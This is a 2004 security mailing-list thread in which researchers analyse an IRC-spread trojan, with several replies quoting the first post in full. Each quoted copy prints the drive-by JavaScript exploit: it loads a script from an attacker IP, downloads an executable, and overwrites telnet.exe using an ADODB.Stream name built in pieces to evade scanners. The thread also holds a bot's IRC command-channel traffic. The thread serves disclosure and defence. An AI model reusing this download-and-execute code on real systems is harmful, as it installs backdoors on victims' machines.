New IRC Trojan -Symantec and Trend Micro Unable To Stop Infection

[Rusty Chiles]

It seems that a new trojan is making the rounds on irc.
Nobody else seems to have figured it out yet, as there is no antivirus
pattern out.

It seems that things on this list get attention quicker, and my virus case
hasn't even been looked at yet from any av vendor. I'd like to post what
i've found to speed the process up.

While on irc, a client posted a link to the following url.
I was on a fully patched windows xp sp1 box at the time with up to date
virus scan. (Symantec AV 2004)

I click the url, and see a picture, and a mini popup window. Thought it to
be strange, but nothing else of it at the time.

**THIS URL IS NOT SAFE** DO NOT CLICK
http:-//www.teamwwindy.com/thekiss.jpg
**THIS URL IS NOT SAFE** DO NOT CLICK


** UPDATE ***
I am seeing this spread from clients posting a new url today as well
http:-//www.rvsgroups.com/nfos/DOOM.III-DEViANCE/
** DO NOT GO TO THIS URL UNLESS YOU WANT TO BE INFECTED **

(ps links are broken with - intentionally to prevent infection)


Symantec on latest pattern detects nothing.
Trend Micro internet security detects some sort of javacript Exploit;
however in this case the payload still infected the machine using trend.

The web exploit that installs the payload runs this javascript code code
--------------snip ----------------snip-------------------snip--------------
---------------------------
function getRealShell() {
myiframe.document.write("<SCRIPT
SRC='http://66.119.180.10:8080/shellscript.js'><\/SCRIPT>");
}

document.write("<IFRAME ID=myiframe SRC='about:blank' WIDTH=200
HEIGHT=200></IFRAME>");
setTimeout("getRealShell()",100);

--------------snip ----------------snip-------------------snip--------------
---------------------------
the file shellscript(1).js file is downloaded
shellscript.js is run contains this code

--------------snip ----------------snip-------------------snip--------------
---------------------------
var downloadurl="http://66.119.180.10:8080/a.exe";

if(navigator.appVersion.indexOf("Windows NT 5.1")!=-1)
savetopath="C:\\WINDOWS\\system32\\telnet.exe";
if(navigator.appVersion.indexOf("Windows NT 5.0")!=-1)
savetopath="C:\\WINNT\\system32\\telnet.exe";

payloadURL = downloadurl;
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.Open("GET",payloadURL,0);
x.Send();

function bla() { return "A" + "D" + "O" + "D" + "B" + "." + "S" + "t" + "r"
+ "e" + "a" + "m"; }

var s = new ActiveXObject(bla());
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);
s.SaveToFile(savetopath,2);

location.href = "telnet://";

--------------snip ----------------snip-------------------snip--------------
---------------------------
At this point I see a process telnet.exe is in the task manager. This is the
a.exe file that was downloaded by shellscript.js moved to
c:\windows\telnet.exe or telnet.bak

(something to do with windows file protection I believe)

(note a registry key was also made to rename telnet.bak to telnet.exe on the
next boot........ giving you a version of telnet that is actually a
backdoor) (there is also a runonce reg key made to msmsgr.exe which is also
just a copy of the a.exe file that the earlier javascript exploit copied up)

Now once the payload has executed (a.exe or telnet.exe)

It connects to this irc server 66-119-180-10.van.zoolink.com:6667
Here's a sniffer dump of the first few seconds.

NICK zapvc
USER zxayd 0 0 :zapvc
:irc.server NOTICE zapvc :*** If you are having problems connecting due to
ping timeouts, please type /quote pong 81863547 or /raw pong 81863547 now.
PING :81863547
PONG 81863547
:IRC!IRC@irc.server PRIVMSG zapvc :
VERSION

:irc.server 001 zapvc :Welcome to the Private IRC Network
zapvc!zxayd@mydomain.changed.com
:irc.server 002 zapvc :Your host is irc.server, running version
Unreal3.2-beta19
:irc.server 003 zapvc :This server was created Mon Jan 12 15:18:40 2004
:irc.server 004 zapvc irc.server Unreal3.2-beta19
iowghraAsORTVSxNCWqBzvdHtGp lvhopsmntikrRcaqOALQbSeKVfMGCuzN
:irc.server 005 zapvc MAP KNOCK SAFELIST HCN MAXCHANNELS=5 MAXBANS=60
NICKLEN=30 TOPICLEN=307 KICKLEN=307 MAXTARGETS=20 AWAYLEN=307 :are supported
by this server
:irc.server 005 zapvc WALLCHOPS WATCH=128 SILENCE=5 MODES=12 CHANTYPES=#
PREFIX=(qaohv)~&@%+ CHANMODES=be,kfL,l,psmntirRcOAQKVGCuzNSM NETWORK=Private
CASEMAPPING=ascii :are supported by this server
:irc.server 251 zapvc :There are 922 users and 2 invisible on 1 servers
:irc.server 254 zapvc 5 :channels formed
:irc.server 255 zapvc :I have 924 clients and 0 servers
:irc.server 265 zapvc :Current Local Users: 924 Max: 1719
:irc.server 266 zapvc :Current Global Users: 924 Max: 926
JOIN #desk
:irc.server 422 zapvc :MOTD File is missing
USERHOST zapvc
JOIN #desk
USERHOST zapvc
JOIN #desk
USERHOST zapvc
:zapvc!zxayd@ip68-2-130-81.@mydomain.changed.com JOIN :#desk
:irc.server 332 zapvc #desk :.mirc spread stop
:irc.server 333 zapvc #desk spn 1087025036
:irc.server 353 zapvc @ #desk :zapvc @spn @_p_
:irc.server 366 zapvc #desk :End of /NAMES list.
PRIVMSG #desk :
:irc.server 302 zapvc :zapvc=+zxayd@mydomain.changed.com
:irc.server 302 zapvc :zapvc=+zxayd@mydomain.changed.com
:irc.server 302 zapvc :zapvc=+zxayd@mydomain.changed.com
:irc.server 412 zapvc :No text to send

If I manually join #desk
----------------------------------------------------------------------------
----------------------
You are now talking on #desk
--- Topic for #desk is .mirc spread stop
--- Topic for #desk set by spn at Sat Jun 12 00:23:56

From the topic it looks like .mirc spread stop is a remote control command
to stop the spread. I am unsure what other commands are available to those
who are controlling the trojan.

It is hikacking the MIRC client of the person infected and using this
functionality to spread by messaging clients with the url of the website
that the infection occurs from.

As of this morning the channel #desk is unoccupied. The irc server is still
up, no public channels, and a client connection count of about 800.

I submitted samples to trend micro, and wanted to submit to symantec but
their submission process is overly complicated since I no longer had their
product installed I couldn't submit samples.

Abuse departments where the webpage resides, as well as the irc server
resides have been contacted, but no action has been taken thus far.

[Drew Copley]

=20

> -----Original Message-----
> From: Rusty Chiles [mailto:rustychiles@cox.net]=20
> Sent: Thursday, June 03, 2004 3:35 PM
> To: bugtraq@securityfocus.com
> Subject: New IRC Trojan -Symantec and Trend Micro Unable To=20
> Stop Infection
>=20
> It seems that a new trojan is making the rounds on irc.
> Nobody else seems to have figured it out yet, as there is no antivirus
> pattern out.

<snip>

getRealShell -> http://62.131.86.111/analysis.htm

Looks like straight from the aforementioned zero day spyware installer
in the wild.

This is pretty fast modification of the worm considering the spyware
distributor likely did not do this.

In fact, one is googled:
http://www.google.com/search?hl=3Den&ie=3DUTF-8&q=3DgetRealShell&btnG=3DG=
oogle+S
earch

Here's a free fix which I made ten months ago for the adodb issue which
this and other vulnerabilities have used since then, re-released:

http://www.eeye.com/html/research/alerts/AL20040610.html

[Romulo M. Cholewa]

Interesting,

I hope this is NOT a trend or new policy.

On friday 4th 13:34 -0300 GMT, I sent to the focus-virus list a message
about a new malware of some sort, that was not being detected by =
Symantec AV
Corporate (Client Security with 02/06/2004 rev. 17 - now, with defs. =
from
13/06/2004 rev. 17, still NO detection, no action). The code is named
"d0r1t1s" as it arrived to me.

The message was not "acted upon" and didn't make to the list. I sent the
message to Mr. Mark Fossi on sat 05/06/2004 12:06 -03:00 GMT, received =
no
reply so far.

back to business.

I was having a discussion earlier this month with a friend about malware =
not
being detected by major AV vendor products, when he said to me that he =
had a
code (a rootkit of some sort) that was not being detected by Symantec
products, and that was spreading fast through IRC (IRC is very popular =
here
in Brazil).

I asked him to send the file in, and it got through Symantec AV for =
gateways
AND Symantec Client Security. so far, the file (rar packed) is sitting =
here
at my desktop without being detected by realtime protection or manual /
scheduled scans.

It's even more interesting to see google results:

http://www.google.com/search?hl=3Den&ie=3DUTF-8&q=3Dd0r1t1s&btnG=3DGoogle=
+Search

Like I said in my previrous emails, I would sleep better at night if I =
see
this code analyzed and properly detected. According to my friend, =
Kaspersky
and McAfee based products are detecting the threat so far.

[from the message he sent to me stating that Kapersky detected it]:

D:\temp\d0r1t1s.rar/d0r1t1s.exe/dorod.exe Infected =20
Backdoor.HacDef.084 =20
D:\temp\d0r1t1s.rar/d0r1t1s.exe/niamx Infected =20
Worm.Win32.Randon =20
D:\temp\d0r1t1s.rar/d0r1t1s.exe/ppi.exe Infected =20
Backdoor.MotivFTP.12 =20
D:\temp\d0r1t1s.rar/d0r1t1s.exe/redroses Infected
Backdoor.IRC.Zapchast =20
D:\temp\d0r1t1s.rar/d0r1t1s.exe/wexp.exe Infected =20
Exploit.Win32.RPCLsa.01.c =20

RAV Antivirus Online file Scan results (as of 14/06/2004 10:00 -03:00 =
GMT):

d0r1t1s.rar->d0r1t1s.exe->(CABSfx)->dir32.exe->(CExe) is infected with
Tool:HideWindows
d0r1t1s.rar->d0r1t1s.exe->(CABSfx)->dorod.exe->(FSGPE) is infected with
Backdoor:Win32/Hackdef.0_84
d0r1t1s.rar->d0r1t1s.exe->(CABSfx)->niamx is suspicious of IRC/Generic*
d0r1t1s.rar->d0r1t1s.exe->(CABSfx)->ppi.exe->(UPXW) is infected with
Backdoor:Win32/MotivFTP.1_2
d0r1t1s.rar->d0r1t1s.exe->(CABSfx)->van32.exe->(FSGPE) is infected with
Trojan:Win32/HideWindow

(only the reported infected files shown to keep it readable)

Regards,

Romulo M. cholewa
Home: http://www.rmc.eti.br
News: http://www.rmc.eti.br/news
PGP key id 0x7F8A3B40


=20

] -----Original Message-----
] From: Rusty Chiles [mailto:rustychiles@cox.net]=20
] Sent: Thursday, June 03, 2004 7:35 PM
] To: bugtraq@securityfocus.com
] Subject: New IRC Trojan -Symantec and Trend Micro Unable To=20
] Stop Infection
]=20
] It seems that a new trojan is making the rounds on irc.
] Nobody else seems to have figured it out yet, as there is no=20
] antivirus pattern out.
]=20
] It seems that things on this list get attention quicker, and=20
] my virus case hasn't even been looked at yet from any av=20
] vendor. I'd like to post what i've found to speed the process up.
]=20
] While on irc, a client posted a link to the following url.
] I was on a fully patched windows xp sp1 box at the time with=20
] up to date virus scan. (Symantec AV 2004)
]=20
] I click the url, and see a picture, and a mini popup window.=20
] Thought it to be strange, but nothing else of it at the time.
]=20
] **THIS URL IS NOT SAFE** DO NOT CLICK
] http:-//www.teamwwindy.com/thekiss.jpg
] **THIS URL IS NOT SAFE** DO NOT CLICK
]=20
]=20
] ** UPDATE ***
] I am seeing this spread from clients posting a new url today=20
] as well http:-//www.rvsgroups.com/nfos/DOOM.III-DEViANCE/
] ** DO NOT GO TO THIS URL UNLESS YOU WANT TO BE INFECTED **
]=20
] (ps links are broken with - intentionally to prevent infection)
]=20
]=20
] Symantec on latest pattern detects nothing.
] Trend Micro internet security detects some sort of javacript=20
] Exploit; however in this case the payload still infected the=20
] machine using trend.
]=20
] The web exploit that installs the payload runs this=20
] javascript code code --------------snip=20
] ----------------snip-------------------snip--------------
] ---------------------------
] function getRealShell() {
] myiframe.document.write("<SCRIPT
] SRC=3D'http://66.119.180.10:8080/shellscript.js'><\/SCRIPT>");
] }
]=20
] document.write("<IFRAME ID=3Dmyiframe SRC=3D'about:blank'=20
] WIDTH=3D200 HEIGHT=3D200></IFRAME>"); =
setTimeout("getRealShell()",100);
]=20
] --------------snip=20
] ----------------snip-------------------snip--------------
] ---------------------------
] the file shellscript(1).js file is downloaded shellscript.js=20
] is run contains this code
]=20
] --------------snip=20
] ----------------snip-------------------snip--------------
] ---------------------------
] var downloadurl=3D"http://66.119.180.10:8080/a.exe";
]=20
] if(navigator.appVersion.indexOf("Windows NT 5.1")!=3D-1)=20
] savetopath=3D"C:\\WINDOWS\\system32\\telnet.exe";
] if(navigator.appVersion.indexOf("Windows NT 5.0")!=3D-1)=20
] savetopath=3D"C:\\WINNT\\system32\\telnet.exe";
]=20
] payloadURL =3D downloadurl;
] var x =3D new ActiveXObject("Microsoft.XMLHTTP");
] x.Open("GET",payloadURL,0);
] x.Send();
]=20
] function bla() { return "A" + "D" + "O" + "D" + "B" + "." +=20
] "S" + "t" + "r"
] + "e" + "a" + "m"; }
]=20
] var s =3D new ActiveXObject(bla());
] s.Mode =3D 3;
] s.Type =3D 1;
] s.Open();
] s.Write(x.responseBody);
] s.SaveToFile(savetopath,2);
]=20
] location.href =3D "telnet://";
]=20
] --------------snip=20
] ----------------snip-------------------snip--------------
] ---------------------------
] At this point I see a process telnet.exe is in the task=20
] manager. This is the a.exe file that was downloaded by=20
] shellscript.js moved to c:\windows\telnet.exe or telnet.bak
]=20
] (something to do with windows file protection I believe)
]=20
] (note a registry key was also made to rename telnet.bak to=20
] telnet.exe on the next boot........ giving you a version of=20
] telnet that is actually a
] backdoor) (there is also a runonce reg key made to msmsgr.exe=20
] which is also just a copy of the a.exe file that the earlier=20
] javascript exploit copied up)
]=20
] Now once the payload has executed (a.exe or telnet.exe)
]=20
] It connects to this irc server 66-119-180-10.van.zoolink.com:6667
] Here's a sniffer dump of the first few seconds.
]=20
] NICK zapvc
] USER zxayd 0 0 :zapvc
] :irc.server NOTICE zapvc :*** If you are having problems=20
] connecting due to ping timeouts, please type /quote pong=20
] 81863547 or /raw pong 81863547 now.
] PING :81863547
] PONG 81863547
] :IRC!IRC@irc.server PRIVMSG zapvc :=01VERSION=01 :irc.server 001=20
] zapvc :Welcome to the Private IRC Network=20
] zapvc!zxayd@mydomain.changed.com :irc.server 002 zapvc :Your=20
] host is irc.server, running version
] Unreal3.2-beta19
] :irc.server 003 zapvc :This server was created Mon Jan 12=20
] 15:18:40 2004 :irc.server 004 zapvc irc.server=20
] Unreal3.2-beta19 iowghraAsORTVSxNCWqBzvdHtGp=20
] lvhopsmntikrRcaqOALQbSeKVfMGCuzN :irc.server 005 zapvc MAP=20
] KNOCK SAFELIST HCN MAXCHANNELS=3D5 MAXBANS=3D60 NICKLEN=3D30=20
] TOPICLEN=3D307 KICKLEN=3D307 MAXTARGETS=3D20 AWAYLEN=3D307 :are=20
] supported by this server :irc.server 005 zapvc WALLCHOPS=20
] WATCH=3D128 SILENCE=3D5 MODES=3D12 CHANTYPES=3D# PREFIX=3D(qaohv)~&@%+ =

] CHANMODES=3Dbe,kfL,l,psmntirRcOAQKVGCuzNSM NETWORK=3DPrivate=20
] CASEMAPPING=3Dascii :are supported by this server :irc.server=20
] 251 zapvc :There are 922 users and 2 invisible on 1 servers=20
] :irc.server 254 zapvc 5 :channels formed :irc.server 255=20
] zapvc :I have 924 clients and 0 servers :irc.server 265 zapvc=20
] :Current Local Users: 924 Max: 1719 :irc.server 266 zapvc=20
] :Current Global Users: 924 Max: 926 JOIN #desk :irc.server=20
] 422 zapvc :MOTD File is missing USERHOST zapvc JOIN #desk=20
] USERHOST zapvc JOIN #desk USERHOST zapvc=20
] :zapvc!zxayd@ip68-2-130-81.@mydomain.changed.com JOIN :#desk=20
] :irc.server 332 zapvc #desk :.mirc spread stop :irc.server=20
] 333 zapvc #desk spn 1087025036 :irc.server 353 zapvc @ #desk=20
] :zapvc @spn @_p_ :irc.server 366 zapvc #desk :End of /NAMES list.
] PRIVMSG #desk :
] :irc.server 302 zapvc :zapvc=3D+zxayd@mydomain.changed.com
] :irc.server 302 zapvc :zapvc=3D+zxayd@mydomain.changed.com
] :irc.server 302 zapvc :zapvc=3D+zxayd@mydomain.changed.com
] :irc.server 412 zapvc :No text to send
]=20
] If I manually join #desk
] --------------------------------------------------------------
] --------------
] ----------------------
] You are now talking on #desk
] --- Topic for #desk is .mirc spread stop
] --- Topic for #desk set by spn at Sat Jun 12 00:23:56
]=20
] From the topic it looks like .mirc spread stop is a remote=20
] control command to stop the spread. I am unsure what other=20
] commands are available to those who are controlling the trojan.
]=20
] It is hikacking the MIRC client of the person infected and=20
] using this functionality to spread by messaging clients with=20
] the url of the website that the infection occurs from.
]=20
] As of this morning the channel #desk is unoccupied. The irc=20
] server is still up, no public channels, and a client=20
] connection count of about 800.
]=20
] I submitted samples to trend micro, and wanted to submit to=20
] symantec but their submission process is overly complicated=20
] since I no longer had their product installed I couldn't=20
] submit samples.
]=20
] Abuse departments where the webpage resides, as well as the=20
] irc server resides have been contacted, but no action has=20
] been taken thus far.
]=20
]=20
]=20

[Jelmer]

*Sigh* here we go again, It uses the code I outlined in this post to infect
fully patched systems

http://seclists.org/lists/fulldisclosure/2004/Jun/0124.html

Manu virus scanners mark an html file as containing a virus when it contains


Adodb.stream, the authors (trivially as always) solved that like this

function bla() { return "A" + "D" + "O" + "D" + "B" + "." + "S" + "t" + "r"
+ "e" + "a" + "m"; }

so it doesn't get detected

Virus scanners really offer very little security, and shouldn't be relied
upon


-----Original Message-----
From: Rusty Chiles [mailto:rustychiles@cox.net]
Sent: vrijdag 4 juni 2004 0:35
To: bugtraq@securityfocus.com
Subject: New IRC Trojan -Symantec and Trend Micro Unable To Stop Infection

It seems that a new trojan is making the rounds on irc.
Nobody else seems to have figured it out yet, as there is no antivirus
pattern out.

It seems that things on this list get attention quicker, and my virus case
hasn't even been looked at yet from any av vendor. I'd like to post what
i've found to speed the process up.

While on irc, a client posted a link to the following url.
I was on a fully patched windows xp sp1 box at the time with up to date
virus scan. (Symantec AV 2004)

I click the url, and see a picture, and a mini popup window. Thought it to
be strange, but nothing else of it at the time.

**THIS URL IS NOT SAFE** DO NOT CLICK
http:-//www.teamwwindy.com/thekiss.jpg
**THIS URL IS NOT SAFE** DO NOT CLICK


** UPDATE ***
I am seeing this spread from clients posting a new url today as well
http:-//www.rvsgroups.com/nfos/DOOM.III-DEViANCE/
** DO NOT GO TO THIS URL UNLESS YOU WANT TO BE INFECTED **

(ps links are broken with - intentionally to prevent infection)


Symantec on latest pattern detects nothing.
Trend Micro internet security detects some sort of javacript Exploit;
however in this case the payload still infected the machine using trend.

The web exploit that installs the payload runs this javascript code code
--------------snip ----------------snip-------------------snip--------------
---------------------------
function getRealShell() {
myiframe.document.write("<SCRIPT
SRC='http://66.119.180.10:8080/shellscript.js'><\/SCRIPT>");
}

document.write("<IFRAME ID=myiframe SRC='about:blank' WIDTH=200
HEIGHT=200></IFRAME>");
setTimeout("getRealShell()",100);

--------------snip ----------------snip-------------------snip--------------
---------------------------
the file shellscript(1).js file is downloaded
shellscript.js is run contains this code

--------------snip ----------------snip-------------------snip--------------
---------------------------
var downloadurl="http://66.119.180.10:8080/a.exe";

if(navigator.appVersion.indexOf("Windows NT 5.1")!=-1)
savetopath="C:\\WINDOWS\\system32\\telnet.exe";
if(navigator.appVersion.indexOf("Windows NT 5.0")!=-1)
savetopath="C:\\WINNT\\system32\\telnet.exe";

payloadURL = downloadurl;
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.Open("GET",payloadURL,0);
x.Send();

function bla() { return "A" + "D" + "O" + "D" + "B" + "." + "S" + "t" + "r"
+ "e" + "a" + "m"; }

var s = new ActiveXObject(bla());
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);
s.SaveToFile(savetopath,2);

location.href = "telnet://";

--------------snip ----------------snip-------------------snip--------------
---------------------------
At this point I see a process telnet.exe is in the task manager. This is the
a.exe file that was downloaded by shellscript.js moved to
c:\windows\telnet.exe or telnet.bak

(something to do with windows file protection I believe)

(note a registry key was also made to rename telnet.bak to telnet.exe on the
next boot........ giving you a version of telnet that is actually a
backdoor) (there is also a runonce reg key made to msmsgr.exe which is also
just a copy of the a.exe file that the earlier javascript exploit copied up)

Now once the payload has executed (a.exe or telnet.exe)

It connects to this irc server 66-119-180-10.van.zoolink.com:6667
Here's a sniffer dump of the first few seconds.

NICK zapvc
USER zxayd 0 0 :zapvc
:irc.server NOTICE zapvc :*** If you are having problems connecting due to
ping timeouts, please type /quote pong 81863547 or /raw pong 81863547 now.
PING :81863547
PONG 81863547
:IRC!IRC@irc.server PRIVMSG zapvc :
VERSION

:irc.server 001 zapvc :Welcome to the Private IRC Network
zapvc!zxayd@mydomain.changed.com
:irc.server 002 zapvc :Your host is irc.server, running version
Unreal3.2-beta19
:irc.server 003 zapvc :This server was created Mon Jan 12 15:18:40 2004
:irc.server 004 zapvc irc.server Unreal3.2-beta19
iowghraAsORTVSxNCWqBzvdHtGp lvhopsmntikrRcaqOALQbSeKVfMGCuzN
:irc.server 005 zapvc MAP KNOCK SAFELIST HCN MAXCHANNELS=5 MAXBANS=60
NICKLEN=30 TOPICLEN=307 KICKLEN=307 MAXTARGETS=20 AWAYLEN=307 :are supported
by this server
:irc.server 005 zapvc WALLCHOPS WATCH=128 SILENCE=5 MODES=12 CHANTYPES=#
PREFIX=(qaohv)~&@%+ CHANMODES=be,kfL,l,psmntirRcOAQKVGCuzNSM NETWORK=Private
CASEMAPPING=ascii :are supported by this server
:irc.server 251 zapvc :There are 922 users and 2 invisible on 1 servers
:irc.server 254 zapvc 5 :channels formed
:irc.server 255 zapvc :I have 924 clients and 0 servers
:irc.server 265 zapvc :Current Local Users: 924 Max: 1719
:irc.server 266 zapvc :Current Global Users: 924 Max: 926
JOIN #desk
:irc.server 422 zapvc :MOTD File is missing
USERHOST zapvc
JOIN #desk
USERHOST zapvc
JOIN #desk
USERHOST zapvc
:zapvc!zxayd@ip68-2-130-81.@mydomain.changed.com JOIN :#desk
:irc.server 332 zapvc #desk :.mirc spread stop
:irc.server 333 zapvc #desk spn 1087025036
:irc.server 353 zapvc @ #desk :zapvc @spn @_p_
:irc.server 366 zapvc #desk :End of /NAMES list.
PRIVMSG #desk :
:irc.server 302 zapvc :zapvc=+zxayd@mydomain.changed.com
:irc.server 302 zapvc :zapvc=+zxayd@mydomain.changed.com
:irc.server 302 zapvc :zapvc=+zxayd@mydomain.changed.com
:irc.server 412 zapvc :No text to send

If I manually join #desk
----------------------------------------------------------------------------
----------------------
You are now talking on #desk
--- Topic for #desk is .mirc spread stop
--- Topic for #desk set by spn at Sat Jun 12 00:23:56

From the topic it looks like .mirc spread stop is a remote control command
to stop the spread. I am unsure what other commands are available to those
who are controlling the trojan.

It is hikacking the MIRC client of the person infected and using this
functionality to spread by messaging clients with the url of the website
that the infection occurs from.

As of this morning the channel #desk is unoccupied. The irc server is still
up, no public channels, and a client connection count of about 800.

I submitted samples to trend micro, and wanted to submit to symantec but
their submission process is overly complicated since I no longer had their
product installed I couldn't submit samples.

Abuse departments where the webpage resides, as well as the irc server
resides have been contacted, but no action has been taken thus far.